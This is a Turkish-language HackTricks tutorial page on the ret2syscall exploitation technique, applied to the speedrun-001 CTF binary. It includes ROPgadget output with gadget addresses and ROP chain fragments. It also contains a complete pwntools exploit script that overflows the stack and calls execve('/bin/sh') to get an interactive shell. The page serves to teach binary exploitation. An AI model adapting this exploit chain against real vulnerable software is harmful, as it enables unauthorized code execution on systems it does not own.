Ret2syscall
Reading time: 5 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Temel Bilgiler
Bu, Ret2lib'e benzer, ancak bu durumda bir kütüphaneden bir fonksiyon çağırmayacağız. Bu durumda, her şey /bin/sh
'yi çalıştırmak için bazı argümanlarla sys_execve
sistem çağrısını çağırmak üzere hazırlanacak. Bu teknik genellikle statik olarak derlenmiş ikili dosyalar üzerinde gerçekleştirilir, bu nedenle birçok gadget ve sistem çağrısı talimatı olabilir.
syscall çağrısını hazırlamak için aşağıdaki yapılandırma gereklidir:
rax: 59 sys_execve'yi belirt
rdi: "/bin/sh" dosyasını çalıştırmak için işaretçi
rsi: 0 argüman geçmediğini belirt
rdx: 0 ortam değişkeni geçmediğini belirt
Yani, temelde /bin/sh
dizesini bir yere yazmak ve ardından syscall
'ı gerçekleştirmek gerekiyor (yığın kontrolü için gereken padding'i göz önünde bulundurarak). Bunun için, /bin/sh
'yi bilinen bir alana yazmak için bir gadget'a ihtiyacımız var.
tip
Çağrılacak başka ilginç bir sistem çağrısı mprotect
'dir; bu, bir saldırganın bellekteki bir sayfanın izinlerini değiştirmesine olanak tanır. Bu, ret2shellcode ile birleştirilebilir.
Kayıt gadget'ları
Bu kayıtları nasıl kontrol edeceğimizi bulmaya başlayalım:
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
Bu adreslerle stack'teki içeriği yazmak ve register'lara yüklemek mümkündür.
Dize yaz
Yazılabilir bellek
Öncelikle bellekte yazılabilir bir yer bulmanız gerekiyor.
gef> vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
Belleğe Dize Yaz
Sonra, bu adrese rastgele içerik yazmanın bir yolunu bulmanız gerekiyor.
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
ROP zincirini otomatikleştir
Aşağıdaki komut, yazma-nerede-ne yazma gadget'ları ve syscall talimatları olduğunda, statik bir ikili dosya verildiğinde tam bir sys_execve
ROP zinciri oluşturur:
ROPgadget --binary vuln --ropchain
32 bit
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop += popRdx # place value into EAX
rop += "/bin" # 4 bytes at a time
rop += popRax # place value into edx
rop += p32(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
64 bit
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
Yetersiz Gadgetler
Eğer gadgetleriniz yetersizse, örneğin /bin/sh
'yi belleğe yazmak için, yığın üzerinden tüm kayıt değerlerini (RIP ve parametre kayıtları dahil) kontrol etmek için SROP tekniğini kullanabilirsiniz:
SROP - Sigreturn-Oriented Programming
İstismar Örneği
from pwn import *
target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')
# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# Our syscall gadget
syscall = p64(0x40129c)
'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget
'''
Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall
'''
rop += popRax
rop += p64(0x3b)
rop += popRdi
rop += p64(0x6b6000)
rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)
rop += syscall
# Add the padding to the saved return address
payload = "0"*0x408 + rop
# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
Diğer Örnekler ve Referanslar
- https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html
- 64 bit, PIE yok, nx, bazı bellek alanlarına
execve
çağırmak için bir ROP yazın ve oraya atlayın. - https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html
- 64 bit, nx, PIE yok, bazı bellek alanlarına
execve
çağırmak için bir ROP yazın ve oraya atlayın. Yığın üzerinde matematiksel işlemler gerçekleştiren bir fonksiyon istismar edilmektedir. - https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
- 64 bit, PIE yok, nx, BF canary, bazı bellek alanlarına
execve
çağırmak için bir ROP yazın ve oraya atlayın.
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.